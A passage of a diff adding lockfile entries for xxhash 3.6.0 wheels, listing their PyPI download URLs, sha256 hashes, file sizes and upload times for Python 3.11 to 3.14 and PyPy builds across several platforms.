+    { url = "https://files.pythonhosted.org/packages/65/79/9d24d7f53819fe301b231044ea362ce64e86c74f6e8c8e51320de248b3e5/xxhash-3.6.0-cp311-cp311-win_amd64.whl", hash = "sha256:26734cdc2d4ffe449b41d186bbeac416f704a482ed835d375a5c0cb02bc63fef", size = 31481, upload-time = "2025-10-02T14:34:32.062Z" },
+    { url = "https://files.pythonhosted.org/packages/30/4e/15cd0e3e8772071344eab2961ce83f6e485111fed8beb491a3f1ce100270/xxhash-3.6.0-cp311-cp311-win_arm64.whl", hash = "sha256:d72f67ef8bf36e05f5b6c65e8524f265bd61071471cd4cf1d36743ebeeeb06b7", size = 27861, upload-time = "2025-10-02T14:34:33.555Z" },
+    { url = "https://files.pythonhosted.org/packages/9a/07/d9412f3d7d462347e4511181dea65e47e0d0e16e26fbee2ea86a2aefb657/xxhash-3.6.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:01362c4331775398e7bb34e3ab403bc9ee9f7c497bc7dee6272114055277dd3c", size = 32744, upload-time = "2025-10-02T14:34:34.622Z" },
+    { url = "https://files.pythonhosted.org/packages/79/35/0429ee11d035fc33abe32dca1b2b69e8c18d236547b9a9b72c1929189b9a/xxhash-3.6.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:b7b2df81a23f8cb99656378e72501b2cb41b1827c0f5a86f87d6b06b69f9f204", size = 30816, upload-time = "2025-10-02T14:34:36.043Z" },
+    { url = "https://files.pythonhosted.org/packages/b7/f2/57eb99aa0f7d98624c0932c5b9a170e1806406cdbcdb510546634a1359e0/xxhash-3.6.0-cp312-cp312-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:dc94790144e66b14f67b10ac8ed75b39ca47536bf8800eb7c24b50271ea0c490", size = 194035, upload-time = "2025-10-02T14:34:37.354Z" },
+    { url = "https://files.pythonhosted.org/packages/4c/ed/6224ba353690d73af7a3f1c7cdb1fc1b002e38f783cb991ae338e1eb3d79/xxhash-3.6.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:93f107c673bccf0d592cdba077dedaf52fe7f42dcd7676eba1f6d6f0c3efffd2", size = 212914, upload-time = "2025-10-02T14:34:38.6Z" },
+    { url = "https://files.pythonhosted.org/packages/38/86/fb6b6130d8dd6b8942cc17ab4d90e223653a89aa32ad2776f8af7064ed13/xxhash-3.6.0-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:2aa5ee3444c25b69813663c9f8067dcfaa2e126dc55e8dddf40f4d1c25d7effa", size = 212163, upload-time = "2025-10-02T14:34:39.872Z" },
+    { url = "https://files.pythonhosted.org/packages/ee/dc/e84875682b0593e884ad73b2d40767b5790d417bde603cceb6878901d647/xxhash-3.6.0-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:f7f99123f0e1194fa59cc69ad46dbae2e07becec5df50a0509a808f90a0f03f0", size = 445411, upload-time = "2025-10-02T14:34:41.569Z" },
+    { url = "https://files.pythonhosted.org/packages/11/4f/426f91b96701ec2f37bb2b8cec664eff4f658a11f3fa9d94f0a887ea6d2b/xxhash-3.6.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:49e03e6fe2cac4a1bc64952dd250cf0dbc5ef4ebb7b8d96bce82e2de163c82a2", size = 193883, upload-time = "2025-10-02T14:34:43.249Z" },
+    { url = "https://files.pythonhosted.org/packages/53/5a/ddbb83eee8e28b778eacfc5a85c969673e4023cdeedcfcef61f36731610b/xxhash-3.6.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:bd17fede52a17a4f9a7bc4472a5867cb0b160deeb431795c0e4abe158bc784e9", size = 210392, upload-time = "2025-10-02T14:34:45.042Z" },
+    { url = "https://files.pythonhosted.org/packages/1e/c2/ff69efd07c8c074ccdf0a4f36fcdd3d27363665bcdf4ba399abebe643465/xxhash-3.6.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:6fb5f5476bef678f69db04f2bd1efbed3030d2aba305b0fc1773645f187d6a4e", size = 197898, upload-time = "2025-10-02T14:34:46.302Z" },
+    { url = "https://files.pythonhosted.org/packages/58/ca/faa05ac19b3b622c7c9317ac3e23954187516298a091eb02c976d0d3dd45/xxhash-3.6.0-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:843b52f6d88071f87eba1631b684fcb4b2068cd2180a0224122fe4ef011a9374", size = 210655, upload-time = "2025-10-02T14:34:47.571Z" },
+    { url = "https://files.pythonhosted.org/packages/d4/7a/06aa7482345480cc0cb597f5c875b11a82c3953f534394f620b0be2f700c/xxhash-3.6.0-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:7d14a6cfaf03b1b6f5f9790f76880601ccc7896aff7ab9cd8978a939c1eb7e0d", size = 414001, upload-time = "2025-10-02T14:34:49.273Z" },
+    { url = "https://files.pythonhosted.org/packages/23/07/63ffb386cd47029aa2916b3d2f454e6cc5b9f5c5ada3790377d5430084e7/xxhash-3.6.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:418daf3db71e1413cfe211c2f9a528456936645c17f46b5204705581a45390ae", size = 191431, upload-time = "2025-10-02T14:34:50.798Z" },
+    { url = "https://files.pythonhosted.org/packages/0f/93/14fde614cadb4ddf5e7cebf8918b7e8fac5ae7861c1875964f17e678205c/xxhash-3.6.0-cp312-cp312-win32.whl", hash = "sha256:50fc255f39428a27299c20e280d6193d8b63b8ef8028995323bf834a026b4fbb", size = 30617, upload-time = "2025-10-02T14:34:51.954Z" },
+    { url = "https://files.pythonhosted.org/packages/13/5d/0d125536cbe7565a83d06e43783389ecae0c0f2ed037b48ede185de477c0/xxhash-3.6.0-cp312-cp312-win_amd64.whl", hash = "sha256:c0f2ab8c715630565ab8991b536ecded9416d615538be8ecddce43ccf26cbc7c", size = 31534, upload-time = "2025-10-02T14:34:53.276Z" },
+    { url = "https://files.pythonhosted.org/packages/54/85/6ec269b0952ec7e36ba019125982cf11d91256a778c7c3f98a4c5043d283/xxhash-3.6.0-cp312-cp312-win_arm64.whl", hash = "sha256:eae5c13f3bc455a3bbb68bdc513912dc7356de7e2280363ea235f71f54064829", size = 27876, upload-time = "2025-10-02T14:34:54.371Z" },
+    { url = "https://files.pythonhosted.org/packages/33/76/35d05267ac82f53ae9b0e554da7c5e281ee61f3cad44c743f0fcd354f211/xxhash-3.6.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:599e64ba7f67472481ceb6ee80fa3bd828fd61ba59fb11475572cc5ee52b89ec", size = 32738, upload-time = "2025-10-02T14:34:55.839Z" },
+    { url = "https://files.pythonhosted.org/packages/31/a8/3fbce1cd96534a95e35d5120637bf29b0d7f5d8fa2f6374e31b4156dd419/xxhash-3.6.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:7d8b8aaa30fca4f16f0c84a5c8d7ddee0e25250ec2796c973775373257dde8f1", size = 30821, upload-time = "2025-10-02T14:34:57.219Z" },
+    { url = "https://files.pythonhosted.org/packages/0c/ea/d387530ca7ecfa183cb358027f1833297c6ac6098223fd14f9782cd0015c/xxhash-3.6.0-cp313-cp313-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:d597acf8506d6e7101a4a44a5e428977a51c0fadbbfd3c39650cca9253f6e5a6", size = 194127, upload-time = "2025-10-02T14:34:59.21Z" },
+    { url = "https://files.pythonhosted.org/packages/ba/0c/71435dcb99874b09a43b8d7c54071e600a7481e42b3e3ce1eb5226a5711a/xxhash-3.6.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:858dc935963a33bc33490128edc1c12b0c14d9c7ebaa4e387a7869ecc4f3e263", size = 212975, upload-time = "2025-10-02T14:35:00.816Z" },
+    { url = "https://files.pythonhosted.org/packages/84/7a/c2b3d071e4bb4a90b7057228a99b10d51744878f4a8a6dd643c8bd897620/xxhash-3.6.0-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:ba284920194615cb8edf73bf52236ce2e1664ccd4a38fdb543506413529cc546", size = 212241, upload-time = "2025-10-02T14:35:02.207Z" },
+    { url = "https://files.pythonhosted.org/packages/81/5f/640b6eac0128e215f177df99eadcd0f1b7c42c274ab6a394a05059694c5a/xxhash-3.6.0-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:4b54219177f6c6674d5378bd862c6aedf64725f70dd29c472eaae154df1a2e89", size = 445471, upload-time = "2025-10-02T14:35:03.61Z" },
+    { url = "https://files.pythonhosted.org/packages/5e/1e/3c3d3ef071b051cc3abbe3721ffb8365033a172613c04af2da89d5548a87/xxhash-3.6.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:42c36dd7dbad2f5238950c377fcbf6811b1cdb1c444fab447960030cea60504d", size = 193936, upload-time = "2025-10-02T14:35:05.013Z" },
+    { url = "https://files.pythonhosted.org/packages/2c/bd/4a5f68381939219abfe1c22a9e3a5854a4f6f6f3c4983a87d255f21f2e5d/xxhash-3.6.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:f22927652cba98c44639ffdc7aaf35828dccf679b10b31c4ad72a5b530a18eb7", size = 210440, upload-time = "2025-10-02T14:35:06.239Z" },
+    { url = "https://files.pythonhosted.org/packages/eb/37/b80fe3d5cfb9faff01a02121a0f4d565eb7237e9e5fc66e73017e74dcd36/xxhash-3.6.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:b45fad44d9c5c119e9c6fbf2e1c656a46dc68e280275007bbfd3d572b21426db", size = 197990, upload-time = "2025-10-02T14:35:07.735Z" },
+    { url = "https://files.pythonhosted.org/packages/d7/fd/2c0a00c97b9e18f72e1f240ad4e8f8a90fd9d408289ba9c7c495ed7dc05c/xxhash-3.6.0-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:6f2580ffab1a8b68ef2b901cde7e55fa8da5e4be0977c68f78fc80f3c143de42", size = 210689, upload-time = "2025-10-02T14:35:09.438Z" },
+    { url = "https://files.pythonhosted.org/packages/93/86/5dd8076a926b9a95db3206aba20d89a7fc14dd5aac16e5c4de4b56033140/xxhash-3.6.0-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:40c391dd3cd041ebc3ffe6f2c862f402e306eb571422e0aa918d8070ba31da11", size = 414068, upload-time = "2025-10-02T14:35:11.162Z" },
+    { url = "https://files.pythonhosted.org/packages/af/3c/0bb129170ee8f3650f08e993baee550a09593462a5cddd8e44d0011102b1/xxhash-3.6.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:f205badabde7aafd1a31e8ca2a3e5a763107a71c397c4481d6a804eb5063d8bd", size = 191495, upload-time = "2025-10-02T14:35:12.971Z" },
+    { url = "https://files.pythonhosted.org/packages/e9/3a/6797e0114c21d1725e2577508e24006fd7ff1d8c0c502d3b52e45c1771d8/xxhash-3.6.0-cp313-cp313-win32.whl", hash = "sha256:2577b276e060b73b73a53042ea5bd5203d3e6347ce0d09f98500f418a9fcf799", size = 30620, upload-time = "2025-10-02T14:35:14.129Z" },
+    { url = "https://files.pythonhosted.org/packages/86/15/9bc32671e9a38b413a76d24722a2bf8784a132c043063a8f5152d390b0f9/xxhash-3.6.0-cp313-cp313-win_amd64.whl", hash = "sha256:757320d45d2fbcce8f30c42a6b2f47862967aea7bf458b9625b4bbe7ee390392", size = 31542, upload-time = "2025-10-02T14:35:15.21Z" },
+    { url = "https://files.pythonhosted.org/packages/39/c5/cc01e4f6188656e56112d6a8e0dfe298a16934b8c47a247236549a3f7695/xxhash-3.6.0-cp313-cp313-win_arm64.whl", hash = "sha256:457b8f85dec5825eed7b69c11ae86834a018b8e3df5e77783c999663da2f96d6", size = 27880, upload-time = "2025-10-02T14:35:16.315Z" },
+    { url = "https://files.pythonhosted.org/packages/f3/30/25e5321c8732759e930c555176d37e24ab84365482d257c3b16362235212/xxhash-3.6.0-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:a42e633d75cdad6d625434e3468126c73f13f7584545a9cf34e883aa1710e702", size = 32956, upload-time = "2025-10-02T14:35:17.413Z" },
+    { url = "https://files.pythonhosted.org/packages/9f/3c/0573299560d7d9f8ab1838f1efc021a280b5ae5ae2e849034ef3dee18810/xxhash-3.6.0-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:568a6d743219e717b07b4e03b0a828ce593833e498c3b64752e0f5df6bfe84db", size = 31072, upload-time = "2025-10-02T14:35:18.844Z" },
+    { url = "https://files.pythonhosted.org/packages/7a/1c/52d83a06e417cd9d4137722693424885cc9878249beb3a7c829e74bf7ce9/xxhash-3.6.0-cp313-cp313t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:bec91b562d8012dae276af8025a55811b875baace6af510412a5e58e3121bc54", size = 196409, upload-time = "2025-10-02T14:35:20.31Z" },
+    { url = "https://files.pythonhosted.org/packages/e3/8e/c6d158d12a79bbd0b878f8355432075fc82759e356ab5a111463422a239b/xxhash-3.6.0-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:78e7f2f4c521c30ad5e786fdd6bae89d47a32672a80195467b5de0480aa97b1f", size = 215736, upload-time = "2025-10-02T14:35:21.616Z" },
+    { url = "https://files.pythonhosted.org/packages/bc/68/c4c80614716345d55071a396cf03d06e34b5f4917a467faf43083c995155/xxhash-3.6.0-cp313-cp313t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:3ed0df1b11a79856df5ffcab572cbd6b9627034c1c748c5566fa79df9048a7c5", size = 214833, upload-time = "2025-10-02T14:35:23.32Z" },
+    { url = "https://files.pythonhosted.org/packages/7e/e9/ae27c8ffec8b953efa84c7c4a6c6802c263d587b9fc0d6e7cea64e08c3af/xxhash-3.6.0-cp313-cp313t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:0e4edbfc7d420925b0dd5e792478ed393d6e75ff8fc219a6546fb446b6a417b1", size = 448348, upload-time = "2025-10-02T14:35:25.111Z" },
+    { url = "https://files.pythonhosted.org/packages/d7/6b/33e21afb1b5b3f46b74b6bd1913639066af218d704cc0941404ca717fc57/xxhash-3.6.0-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:fba27a198363a7ef87f8c0f6b171ec36b674fe9053742c58dd7e3201c1ab30ee", size = 196070, upload-time = "2025-10-02T14:35:26.586Z" },
+    { url = "https://files.pythonhosted.org/packages/96/b6/fcabd337bc5fa624e7203aa0fa7d0c49eed22f72e93229431752bddc83d9/xxhash-3.6.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:794fe9145fe60191c6532fa95063765529770edcdd67b3d537793e8004cabbfd", size = 212907, upload-time = "2025-10-02T14:35:28.087Z" },
+    { url = "https://files.pythonhosted.org/packages/4b/d3/9ee6160e644d660fcf176c5825e61411c7f62648728f69c79ba237250143/xxhash-3.6.0-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:6105ef7e62b5ac73a837778efc331a591d8442f8ef5c7e102376506cb4ae2729", size = 200839, upload-time = "2025-10-02T14:35:29.857Z" },
+    { url = "https://files.pythonhosted.org/packages/0d/98/e8de5baa5109394baf5118f5e72ab21a86387c4f89b0e77ef3e2f6b0327b/xxhash-3.6.0-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:f01375c0e55395b814a679b3eea205db7919ac2af213f4a6682e01220e5fe292", size = 213304, upload-time = "2025-10-02T14:35:31.222Z" },
+    { url = "https://files.pythonhosted.org/packages/7b/1d/71056535dec5c3177eeb53e38e3d367dd1d16e024e63b1cee208d572a033/xxhash-3.6.0-cp313-cp313t-musllinux_1_2_s390x.whl", hash = "sha256:d706dca2d24d834a4661619dcacf51a75c16d65985718d6a7d73c1eeeb903ddf", size = 416930, upload-time = "2025-10-02T14:35:32.517Z" },
+    { url = "https://files.pythonhosted.org/packages/dc/6c/5cbde9de2cd967c322e651c65c543700b19e7ae3e0aae8ece3469bf9683d/xxhash-3.6.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:5f059d9faeacd49c0215d66f4056e1326c80503f51a1532ca336a385edadd033", size = 193787, upload-time = "2025-10-02T14:35:33.827Z" },
+    { url = "https://files.pythonhosted.org/packages/19/fa/0172e350361d61febcea941b0cc541d6e6c8d65d153e85f850a7b256ff8a/xxhash-3.6.0-cp313-cp313t-win32.whl", hash = "sha256:1244460adc3a9be84731d72b8e80625788e5815b68da3da8b83f78115a40a7ec", size = 30916, upload-time = "2025-10-02T14:35:35.107Z" },
+    { url = "https://files.pythonhosted.org/packages/ad/e6/e8cf858a2b19d6d45820f072eff1bea413910592ff17157cabc5f1227a16/xxhash-3.6.0-cp313-cp313t-win_amd64.whl", hash = "sha256:b1e420ef35c503869c4064f4a2f2b08ad6431ab7b229a05cce39d74268bca6b8", size = 31799, upload-time = "2025-10-02T14:35:36.165Z" },
+    { url = "https://files.pythonhosted.org/packages/56/15/064b197e855bfb7b343210e82490ae672f8bc7cdf3ddb02e92f64304ee8a/xxhash-3.6.0-cp313-cp313t-win_arm64.whl", hash = "sha256:ec44b73a4220623235f67a996c862049f375df3b1052d9899f40a6382c32d746", size = 28044, upload-time = "2025-10-02T14:35:37.195Z" },
+    { url = "https://files.pythonhosted.org/packages/7e/5e/0138bc4484ea9b897864d59fce9be9086030825bc778b76cb5a33a906d37/xxhash-3.6.0-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:a40a3d35b204b7cc7643cbcf8c9976d818cb47befcfac8bbefec8038ac363f3e", size = 32754, upload-time = "2025-10-02T14:35:38.245Z" },
+    { url = "https://files.pythonhosted.org/packages/18/d7/5dac2eb2ec75fd771957a13e5dda560efb2176d5203f39502a5fc571f899/xxhash-3.6.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:a54844be970d3fc22630b32d515e79a90d0a3ddb2644d8d7402e3c4c8da61405", size = 30846, upload-time = "2025-10-02T14:35:39.6Z" },
+    { url = "https://files.pythonhosted.org/packages/fe/71/8bc5be2bb00deb5682e92e8da955ebe5fa982da13a69da5a40a4c8db12fb/xxhash-3.6.0-cp314-cp314-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:016e9190af8f0a4e3741343777710e3d5717427f175adfdc3e72508f59e2a7f3", size = 194343, upload-time = "2025-10-02T14:35:40.69Z" },
+    { url = "https://files.pythonhosted.org/packages/e7/3b/52badfb2aecec2c377ddf1ae75f55db3ba2d321c5e164f14461c90837ef3/xxhash-3.6.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4f6f72232f849eb9d0141e2ebe2677ece15adfd0fa599bc058aad83c714bb2c6", size = 213074, upload-time = "2025-10-02T14:35:42.29Z" },
+    { url = "https://files.pythonhosted.org/packages/a2/2b/ae46b4e9b92e537fa30d03dbc19cdae57ed407e9c26d163895e968e3de85/xxhash-3.6.0-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:63275a8aba7865e44b1813d2177e0f5ea7eadad3dd063a21f7cf9afdc7054063", size = 212388, upload-time = "2025-10-02T14:35:43.929Z" },
+    { url = "https://files.pythonhosted.org/packages/f5/80/49f88d3afc724b4ac7fbd664c8452d6db51b49915be48c6982659e0e7942/xxhash-3.6.0-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:3cd01fa2aa00d8b017c97eb46b9a794fbdca53fc14f845f5a328c71254b0abb7", size = 445614, upload-time = "2025-10-02T14:35:45.216Z" },
+    { url = "https://files.pythonhosted.org/packages/ed/ba/603ce3961e339413543d8cd44f21f2c80e2a7c5cfe692a7b1f2cccf58f3c/xxhash-3.6.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0226aa89035b62b6a86d3c68df4d7c1f47a342b8683da2b60cedcddb46c4d95b", size = 194024, upload-time = "2025-10-02T14:35:46.959Z" },
+    { url = "https://files.pythonhosted.org/packages/78/d1/8e225ff7113bf81545cfdcd79eef124a7b7064a0bba53605ff39590b95c2/xxhash-3.6.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:c6e193e9f56e4ca4923c61238cdaced324f0feac782544eb4c6d55ad5cc99ddd", size = 210541, upload-time = "2025-10-02T14:35:48.301Z" },
+    { url = "https://files.pythonhosted.org/packages/6f/58/0f89d149f0bad89def1a8dd38feb50ccdeb643d9797ec84707091d4cb494/xxhash-3.6.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:9176dcaddf4ca963d4deb93866d739a343c01c969231dbe21680e13a5d1a5bf0", size = 198305, upload-time = "2025-10-02T14:35:49.584Z" },
+    { url = "https://files.pythonhosted.org/packages/11/38/5eab81580703c4df93feb5f32ff8fa7fe1e2c51c1f183ee4e48d4bb9d3d7/xxhash-3.6.0-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:c1ce4009c97a752e682b897aa99aef84191077a9433eb237774689f14f8ec152", size = 210848, upload-time = "2025-10-02T14:35:50.877Z" },
+    { url = "https://files.pythonhosted.org/packages/5e/6b/953dc4b05c3ce678abca756416e4c130d2382f877a9c30a20d08ee6a77c0/xxhash-3.6.0-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:8cb2f4f679b01513b7adbb9b1b2f0f9cdc31b70007eaf9d59d0878809f385b11", size = 414142, upload-time = "2025-10-02T14:35:52.15Z" },
+    { url = "https://files.pythonhosted.org/packages/08/a9/238ec0d4e81a10eb5026d4a6972677cbc898ba6c8b9dbaec12ae001b1b35/xxhash-3.6.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:653a91d7c2ab54a92c19ccf43508b6a555440b9be1bc8be553376778be7f20b5", size = 191547, upload-time = "2025-10-02T14:35:53.547Z" },
+    { url = "https://files.pythonhosted.org/packages/f1/ee/3cf8589e06c2164ac77c3bf0aa127012801128f1feebf2a079272da5737c/xxhash-3.6.0-cp314-cp314-win32.whl", hash = "sha256:a756fe893389483ee8c394d06b5ab765d96e68fbbfe6fde7aa17e11f5720559f", size = 31214, upload-time = "2025-10-02T14:35:54.746Z" },
+    { url = "https://files.pythonhosted.org/packages/02/5d/a19552fbc6ad4cb54ff953c3908bbc095f4a921bc569433d791f755186f1/xxhash-3.6.0-cp314-cp314-win_amd64.whl", hash = "sha256:39be8e4e142550ef69629c9cd71b88c90e9a5db703fecbcf265546d9536ca4ad", size = 32290, upload-time = "2025-10-02T14:35:55.791Z" },
+    { url = "https://files.pythonhosted.org/packages/b1/11/dafa0643bc30442c887b55baf8e73353a344ee89c1901b5a5c54a6c17d39/xxhash-3.6.0-cp314-cp314-win_arm64.whl", hash = "sha256:25915e6000338999236f1eb68a02a32c3275ac338628a7eaa5a269c401995679", size = 28795, upload-time = "2025-10-02T14:35:57.162Z" },
+    { url = "https://files.pythonhosted.org/packages/2c/db/0e99732ed7f64182aef4a6fb145e1a295558deec2a746265dcdec12d191e/xxhash-3.6.0-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:c5294f596a9017ca5a3e3f8884c00b91ab2ad2933cf288f4923c3fd4346cf3d4", size = 32955, upload-time = "2025-10-02T14:35:58.267Z" },
+    { url = "https://files.pythonhosted.org/packages/55/f4/2a7c3c68e564a099becfa44bb3d398810cc0ff6749b0d3cb8ccb93f23c14/xxhash-3.6.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:1cf9dcc4ab9cff01dfbba78544297a3a01dafd60f3bde4e2bfd016cf7e4ddc67", size = 31072, upload-time = "2025-10-02T14:35:59.382Z" },
+    { url = "https://files.pythonhosted.org/packages/c6/d9/72a29cddc7250e8a5819dad5d466facb5dc4c802ce120645630149127e73/xxhash-3.6.0-cp314-cp314t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:01262da8798422d0685f7cef03b2bd3f4f46511b02830861df548d7def4402ad", size = 196579, upload-time = "2025-10-02T14:36:00.838Z" },
+    { url = "https://files.pythonhosted.org/packages/63/93/b21590e1e381040e2ca305a884d89e1c345b347404f7780f07f2cdd47ef4/xxhash-3.6.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:51a73fb7cb3a3ead9f7a8b583ffd9b8038e277cdb8cb87cf890e88b3456afa0b", size = 215854, upload-time = "2025-10-02T14:36:02.207Z" },
+    { url = "https://files.pythonhosted.org/packages/ce/b8/edab8a7d4fa14e924b29be877d54155dcbd8b80be85ea00d2be3413a9ed4/xxhash-3.6.0-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:b9c6df83594f7df8f7f708ce5ebeacfc69f72c9fbaaababf6cf4758eaada0c9b", size = 214965, upload-time = "2025-10-02T14:36:03.507Z" },
+    { url = "https://files.pythonhosted.org/packages/27/67/dfa980ac7f0d509d54ea0d5a486d2bb4b80c3f1bb22b66e6a05d3efaf6c0/xxhash-3.6.0-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:627f0af069b0ea56f312fd5189001c24578868643203bca1abbc2c52d3a6f3ca", size = 448484, upload-time = "2025-10-02T14:36:04.828Z" },
+    { url = "https://files.pythonhosted.org/packages/8c/63/8ffc2cc97e811c0ca5d00ab36604b3ea6f4254f20b7bc658ca825ce6c954/xxhash-3.6.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:aa912c62f842dfd013c5f21a642c9c10cd9f4c4e943e0af83618b4a404d9091a", size = 196162, upload-time = "2025-10-02T14:36:06.182Z" },
+    { url = "https://files.pythonhosted.org/packages/4b/77/07f0e7a3edd11a6097e990f6e5b815b6592459cb16dae990d967693e6ea9/xxhash-3.6.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:b465afd7909db30168ab62afe40b2fcf79eedc0b89a6c0ab3123515dc0df8b99", size = 213007, upload-time = "2025-10-02T14:36:07.733Z" },
+    { url = "https://files.pythonhosted.org/packages/ae/d8/bc5fa0d152837117eb0bef6f83f956c509332ce133c91c63ce07ee7c4873/xxhash-3.6.0-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:a881851cf38b0a70e7c4d3ce81fc7afd86fbc2a024f4cfb2a97cf49ce04b75d3", size = 200956, upload-time = "2025-10-02T14:36:09.106Z" },
+    { url = "https://files.pythonhosted.org/packages/26/a5/d749334130de9411783873e9b98ecc46688dad5db64ca6e04b02acc8b473/xxhash-3.6.0-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:9b3222c686a919a0f3253cfc12bb118b8b103506612253b5baeaac10d8027cf6", size = 213401, upload-time = "2025-10-02T14:36:10.585Z" },
+    { url = "https://files.pythonhosted.org/packages/89/72/abed959c956a4bfc72b58c0384bb7940663c678127538634d896b1195c10/xxhash-3.6.0-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:c5aa639bc113e9286137cec8fadc20e9cd732b2cc385c0b7fa673b84fc1f2a93", size = 417083, upload-time = "2025-10-02T14:36:12.276Z" },
+    { url = "https://files.pythonhosted.org/packages/0c/b3/62fd2b586283b7d7d665fb98e266decadf31f058f1cf6c478741f68af0cb/xxhash-3.6.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:5c1343d49ac102799905e115aee590183c3921d475356cb24b4de29a4bc56518", size = 193913, upload-time = "2025-10-02T14:36:14.025Z" },
+    { url = "https://files.pythonhosted.org/packages/9a/9a/c19c42c5b3f5a4aad748a6d5b4f23df3bed7ee5445accc65a0fb3ff03953/xxhash-3.6.0-cp314-cp314t-win32.whl", hash = "sha256:5851f033c3030dd95c086b4a36a2683c2ff4a799b23af60977188b057e467119", size = 31586, upload-time = "2025-10-02T14:36:15.603Z" },
+    { url = "https://files.pythonhosted.org/packages/03/d6/4cc450345be9924fd5dc8c590ceda1db5b43a0a889587b0ae81a95511360/xxhash-3.6.0-cp314-cp314t-win_amd64.whl", hash = "sha256:0444e7967dac37569052d2409b00a8860c2135cff05502df4da80267d384849f", size = 32526, upload-time = "2025-10-02T14:36:16.708Z" },
+    { url = "https://files.pythonhosted.org/packages/0f/c9/7243eb3f9eaabd1a88a5a5acadf06df2d83b100c62684b7425c6a11bcaa8/xxhash-3.6.0-cp314-cp314t-win_arm64.whl", hash = "sha256:bb79b1e63f6fd84ec778a4b1916dfe0a7c3fdb986c06addd5db3a0d413819d95", size = 28898, upload-time = "2025-10-02T14:36:17.843Z" },
+    { url = "https://files.pythonhosted.org/packages/93/1e/8aec23647a34a249f62e2398c42955acd9b4c6ed5cf08cbea94dc46f78d2/xxhash-3.6.0-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:0f7b7e2ec26c1666ad5fc9dbfa426a6a3367ceaf79db5dd76264659d509d73b0", size = 30662, upload-time = "2025-10-02T14:37:01.743Z" },
